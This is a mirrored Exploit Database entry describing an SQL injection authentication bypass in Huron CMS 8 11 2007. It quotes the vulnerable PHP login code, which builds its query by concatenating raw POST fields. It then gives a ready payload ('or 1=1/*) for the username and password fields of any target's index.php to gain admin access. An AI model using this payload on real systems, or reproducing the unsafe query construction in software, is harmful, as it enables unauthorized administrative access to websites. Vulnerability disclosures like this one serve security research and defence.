Huron CMS 8 11 2007 – Authentication Bypass

• Exploit Database
• 32 阅读

• 作者： mat
  日期： 2010-03-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11963/

• \\\|///
  \\- -//
   (@ @ )
  ----oOOo--(_)-oOOo--------------------------------------------------
  Huron CMS 8 11 2007 (Auth Bypass) SQL Injection Vulnerability
  Script: http://huroncms.googlecode.com/files/Huron_28_11_2007.zip
  Author: mat
  Mail: rahmat_punk@hotmail.com
  ---------------Ooooo------------------------------------------------
   ( )
  ooooO ) /
  ( )(_/
   \ (
  \_)
  
  //------------------------------------------------------------------+
  <?
  	$consulta = "select user from Administrador where user='".$_POST['usr']."' AND password='".$_POST['pas']."'";
  	$resultado=mysql_query($consulta,$link);
  	$i=0;
  	while($row = mysql_fetch_array($resultado)) 
  	{
  		$i++;
  	}
  	if($i>0){
  ?>
  //------------------------------------------------------------------+
  
  http://[target]/[path]/index.php
  
  Put as username and password: 'or 1=1/*
  You will log in as admin
  
  Greetings: All Hackerz